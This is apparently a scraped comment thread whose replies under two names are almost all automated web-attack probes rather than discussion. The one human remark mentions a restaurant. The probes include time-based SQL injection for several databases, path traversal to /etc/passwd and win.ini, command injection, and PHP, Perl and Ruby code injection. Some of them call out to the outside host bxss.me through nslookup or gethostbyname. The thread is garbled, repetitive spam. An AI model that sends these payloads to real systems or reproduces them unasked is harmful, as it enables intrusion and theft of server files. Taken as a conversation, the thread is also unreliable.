re: Eric Yu
-1)) OR 544=(SELECT 544 FROM PG_SLEEP(15))--
re: Eric Yu
7H4JeXWc' OR 11=(SELECT 11 FROM PG_SLEEP(15))--
re: Eric Yu
gKvlZNBb') OR 55=(SELECT 55 FROM PG_SLEEP(15))--
re: Eric Yu
M6EVu7ze')) OR 486=(SELECT 486 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@mZ7QH
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
re: Eric Yu
nGs6JKVX
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
LqBhG4HY'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 483=(SELECT 483 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 644=(SELECT 644 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 63=(SELECT 63 FROM PG_SLEEP(15))--
re: Eric Yu
fxzIxSsv' OR 586=(SELECT 586 FROM PG_SLEEP(15))--
re: Eric Yu
RRJgJ9Yd') OR 424=(SELECT 424 FROM PG_SLEEP(15))--
re: Eric Yu
iB5hpXrD')) OR 263=(SELECT 263 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@nBFel
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
re: Eric Yu
stOYWTAy
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+83-83-1=0+0+0+1
re: Eric Yu
-1 OR 3+83-83-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
GUFooHHG'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 153=(SELECT 153 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 236=(SELECT 236 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 46=(SELECT 46 FROM PG_SLEEP(15))--
re: Eric Yu
t7zHVzJG' OR 266=(SELECT 266 FROM PG_SLEEP(15))--
re: Eric Yu
6Qk5ScBx') OR 704=(SELECT 704 FROM PG_SLEEP(15))--
re: Eric Yu
aDK6T6km')) OR 947=(SELECT 947 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@mP6jY
re: Eric Yu
rRfhMtHN
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
KwatT6cH'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 444=(SELECT 444 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 992=(SELECT 992 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 16=(SELECT 16 FROM PG_SLEEP(15))--
re: Eric Yu
yjtsVCie' OR 686=(SELECT 686 FROM PG_SLEEP(15))--
re: Eric Yu
5pqDjoet') OR 967=(SELECT 967 FROM PG_SLEEP(15))--
re: Eric Yu
DGmsbOFw')) OR 770=(SELECT 770 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@ssAla
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
I forgot to list Bamboo since I haven't been there recently lol.
re: Leo Saito
vXqOwF8B
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+106-106-1=0+0+0+1
re: Leo Saito
-1 OR 3+106-106-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
rOMxuOkx'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 174=(SELECT 174 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 666=(SELECT 666 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 616=(SELECT 616 FROM PG_SLEEP(15))--
re: Leo Saito
loIVZAaE' OR 313=(SELECT 313 FROM PG_SLEEP(15))--
re: Leo Saito
RqhPtZvU') OR 94=(SELECT 94 FROM PG_SLEEP(15))--
re: Leo Saito
WNPdGVsf')) OR 287=(SELECT 287 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@JPH4c
re: Leo Saito
w4hJiNqS
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+710-710-1=0+0+0+1
re: Leo Saito
-1 OR 3+710-710-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
qNUdIF7Z'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 119=(SELECT 119 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 719=(SELECT 719 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 496=(SELECT 496 FROM PG_SLEEP(15))--
re: Leo Saito
4sTeaa6m' OR 916=(SELECT 916 FROM PG_SLEEP(15))--
re: Leo Saito
qaxLMorH') OR 469=(SELECT 469 FROM PG_SLEEP(15))--
re: Leo Saito
hntCIutP')) OR 749=(SELECT 749 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@LH2AC
re: Leo Saito
1vkAx8qVO
re: Leo Saito
response.write(9988753*9465089)
re: Leo Saito
'+response.write(9988753*9465089)+'
re: Leo Saito
"+response.write(9988753*9465089)+"
re: Leo Saito
%0abcc:074625.67-10216.67.8d207.19990.2@bxss.me
re: Leo Saito
to@example.com>%0d%0abcc:074625.67-10217.67.8d207.19990.2@bxss.me
re: Leo Saito
../../../../../../../../../../../../../../etc/passwd
re: Leo Saito
../../../../../../../../../../../../../../windows/win.ini
re: Leo Saito
file:///etc/passwd
re: Leo Saito
<esi:include src="http://bxss.me/rpb.png"/>
re: Leo Saito
../../../../../../../../../../../../../../../proc/version
re: Leo Saito
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: Leo Saito
../../../../../../../../../../etc/passwd%00.jpg
re: Leo Saito
${9999104+10000018}
re: Leo Saito
echo hpgcaz$()\ yashdm\nz^xyu||a #' &echo hpgcaz$()\ yashdm\nz^xyu||a #|" &echo hpgcaz$()\ yashdm\nz^xyu||a #
re: Leo Saito
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: Leo Saito
&echo gjzquu$()\ kbivgo\nz^xyu||a #' &echo gjzquu$()\ kbivgo\nz^xyu||a #|" &echo gjzquu$()\ kbivgo\nz^xyu||a #
re: Leo Saito
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: Leo Saito
|echo itzeiq$()\ blheyn\nz^xyu||a #' |echo itzeiq$()\ blheyn\nz^xyu||a #|" |echo itzeiq$()\ blheyn\nz^xyu||a #
re: Leo Saito
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: Leo Saito
(nslookup hitiasofiomrc0afc5.bxss.me||perl -e "gethostbyname('hitiasofiomrc0afc5.bxss.me')")
re: Leo Saito
/etc/passwd
re: Leo Saito
$(nslookup hitkpiqudhiqrf2376.bxss.me||perl -e "gethostbyname('hitkpiqudhiqrf2376.bxss.me')")
re: Leo Saito
%2fetc%2fpasswd
re: Leo Saito
&nslookup hitdzdbwrrdru5a251.bxss.me&'\"`0&nslookup hitdzdbwrrdru5a251.bxss.me&`'
re: Leo Saito
/.././.././.././.././.././.././.././../etc/./passwd%00
re: Leo Saito
&(nslookup hitacxnnrhjqk51dda.bxss.me||perl -e "gethostbyname('hitacxnnrhjqk51dda.bxss.me')")&'\"`0&(nslookup hitacxnnrhjqk51dda.bxss.me||perl -e "gethostbyname('hitacxnnrhjqk51dda.bxss.me')")&`'
re: Leo Saito
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: Leo Saito
)
re: Leo Saito
|(nslookup hitxjcssbdhlj8462d.bxss.me||perl -e "gethostbyname('hitxjcssbdhlj8462d.bxss.me')")
re: Leo Saito
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: Leo Saito
!(()&&!|*|*|
re: Leo Saito
`(nslookup hitbdaqfebknc6d2e8.bxss.me||perl -e "gethostbyname('hitbdaqfebknc6d2e8.bxss.me')")`
re: Leo Saito
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: Leo Saito
^(#$!@#$)(()))******
re: Leo Saito
;(nslookup hitecdeeppyds5ed2d.bxss.me||perl -e "gethostbyname('hitecdeeppyds5ed2d.bxss.me')")|(nslookup hitecdeeppyds5ed2d.bxss.me||perl -e "gethostbyname('hitecdeeppyds5ed2d.bxss.me')")&(nslookup hitecdeeppyds5ed2d.bxss.me||perl -e "gethostbyname('hitecdeeppyds5ed2d.bxss.me')")
re: Leo Saito
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: Leo Saito
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: Leo Saito
file:///etc/passwd
re: Leo Saito
/\../\../\../\../\../\../\../etc/passwd
re: Leo Saito
/WEB-INF/web.xml
re: Leo Saito
'.gethostbyname(lc('hitxb'.'ygtobdas567db.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(81).chr(105).chr(90).'
re: Leo Saito
C:\WINDOWS\system32\drivers\etc\hosts
re: Leo Saito
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: Leo Saito
".gethostbyname(lc("hityw"."cnvhahuzbe2a6.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(82).chr(98).chr(77)."
re: Leo Saito
../../../../../../../../../../windows/win.ini%00.jpg
re: Leo Saito
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: Leo Saito
/../../../../../../../../../../boot.ini
re: Leo Saito
Http://bxss.me/t/fit.txt
re: Leo Saito
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: Leo Saito
http://bxss.me/t/fit.txt%3F.jpg
re: Leo Saito
..\..\..\..\..\..\..\..\windows\win.ini
re: Leo Saito
/etc/shells
re: Leo Saito
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: Leo Saito
c:/windows/win.ini
re: Leo Saito
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: Leo Saito
bxss.me
re: Leo Saito
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: Leo Saito
HttP://bxss.me/t/xss.html?%00
re: Leo Saito
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Leo Saito
"+"A".concat(70-3).concat(22*4).concat(117).concat(88).concat(117).concat(67)+(require"socket"
Socket.gethostbyname("hitvz"+"givkokmv632bb.bxss.me.")[3].to_s)+"
re: Leo Saito
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: Leo Saito
bxss.me/t/xss.html?%00
re: Leo Saito
';print(md5(31337));$a='
re: Leo Saito
'+'A'.concat(70-3).concat(22*4).concat(105).concat(83).concat(107).concat(69)+(require'socket'
Socket.gethostbyname('hitqy'+'nqwvelsz475cc.bxss.me.')[3].to_s)+'
re: Leo Saito
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: Leo Saito
";print(md5(31337));$a="
re: Leo Saito
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Leo Saito
WEB-INF/web.xml
re: Leo Saito
${@print(md5(31337))}
re: Leo Saito
WEB-INF\web.xml
re: Leo Saito
${@print(md5(31337))}\
re: Leo Saito
'.print(md5(31337)).'
re: Leo Saito
'"
re: Leo Saito
<!--
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
-1 OR 2+714-714-1=0+0+0+1 --
re: Leo Saito
-1 OR 3+714-714-1=0+0+0+1 --
re: Leo Saito
-1 OR 2+622-622-1=0+0+0+1
re: Leo Saito
-1 OR 3+622-622-1=0+0+0+1
re: Leo Saito
-1' OR 2+379-379-1=0+0+0+1 --
re: Leo Saito
-1' OR 3+379-379-1=0+0+0+1 --
re: Leo Saito
-1' OR 2+964-964-1=0+0+0+1 or '5iO7UCIA'='
re: Leo Saito
-1' OR 3+964-964-1=0+0+0+1 or '5iO7UCIA'='
re: Leo Saito
-1" OR 2+358-358-1=0+0+0+1 --
re: Leo Saito
-1" OR 3+358-358-1=0+0+0+1 --
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
5pxMGRel'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 116=(SELECT 116 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 895=(SELECT 895 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 160=(SELECT 160 FROM PG_SLEEP(15))--
re: Leo Saito
ieQhSpFd' OR 29=(SELECT 29 FROM PG_SLEEP(15))--
re: Leo Saito
KCxdm17S') OR 781=(SELECT 781 FROM PG_SLEEP(15))--
re: Leo Saito
TNpyC1Yl')) OR 742=(SELECT 742 FROM PG_SLEEP(15))--
re: Leo Saito
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@xxWb7
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
1BE2IFCF9L0
re: Leo Saito
response.write(9322818*9815917)
re: Leo Saito
'+response.write(9322818*9815917)+'
re: Leo Saito
"+response.write(9322818*9815917)+"
re: Leo Saito
<esi:include src="http://bxss.me/rpb.png"/>
re: Leo Saito
../../../../../../../../../../../../../../etc/passwd
re: Leo Saito
../../../../../../../../../../../../../../windows/win.ini
re: Leo Saito
file:///etc/passwd
re: Leo Saito
${9999347+9999040}
re: Leo Saito
../
